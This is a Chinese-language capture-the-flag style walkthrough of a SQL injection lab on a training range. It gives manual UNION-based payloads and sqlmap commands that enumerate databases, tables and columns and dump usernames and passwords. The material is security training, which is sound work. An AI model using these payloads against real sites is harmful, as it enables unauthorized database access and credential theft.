1. 墨者學院:SQL過濾字符后手工注入漏洞測試(第3題)🚀
因為練習過太多的sql注入,廢話不多介紹,我會通過圍繞手動注入和工具爆破的方式達到靶場目標,開練!!!
2. 手工注入方式🎯
測試從"http://124.70.71.251:43066/new_list.php?"
開始,以自己的靶場地址為準。
2.1 確定字段數?
常見注入點:id=1 and 1=2
,id=1'
,id=1"
等等,本次靶場是單引號閉合。
id=1' order by 8--+
'
:單引號用于閉合SQL語句中的字符串
order by
:用于確定查詢結果集的列數 ,字段max
=7
--+
:注釋掉后續SQL語句,避免語法錯誤
2.2 確認顯示位?
id=-1' union select 1,2,3,4,5,6,7--+
union select
:聯合查詢,用于顯示可回顯的字段位置
-1
:確保原查詢不返回結果,只顯示union select的結果
2.3 獲取基本信息?
id=-1' union select 1,database(),version(),user(),5,6,7--+
database()
:獲取當前數據庫名稱
version()
:獲取數據庫版本信息
user()
:獲取當前數據庫用戶
2.4 獲取表名?
id=-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i'--+
information_schema.tables
:系統表,存儲所有表信息
group_concat()
:將多行結果合并為一行
table_schema
:指定數據庫名稱
2.5 獲取列名?
id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+
information_schema.columns
:系統表,存儲所有列信息
table_name
:指定要查詢的表名
2.6 獲取數據?
id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}`--+
username,password
:目標表的敏感字段
反引號`
:用于包裹特殊表名
3. sqlmap工具測試🎯
3.1 獲取所有數據庫?
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" --dbs --batch
--dbs
:枚舉所有數據庫
--batch
:自動選擇默認選項
3.2 獲取指定數據庫的表?
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i --tables --batch
-D
:指定數據庫
--tables
:枚舉指定數據庫的所有表
3.3 獲取表的列?
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} --columns --batch
-T
:指定表名
--columns
:枚舉指定表的所有列
3.4 導出數據?
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} -C id,username,password,status --dump --batch
-C
:指定要導出的列
--dump
:導出指定表的數據
3.5 清理緩存?
python sqlmap.py --purge
--purge
:清除sqlmap緩存文件
該指令用于清除sqlmap的緩存,因為重啟靶場,端口會發生變化,可能獲取到的password是之前的數據,詳細的sqlmap指令獲取如下:
python sqlmap.py -h
4. 總結🏁
本次測試通過手工注入和sqlmap工具兩種方式完成了SQL注入漏洞測試:
- 手工注入需要逐步構造payload,理解SQL語法
- sqlmap自動化程度高,但需要正確使用參數
- 目標網站存在明顯的SQL注入漏洞,建議修復
- 特殊字符過濾不徹底,導致注入成功
聲明:本文僅用于安全學習,嚴禁非法測試! ???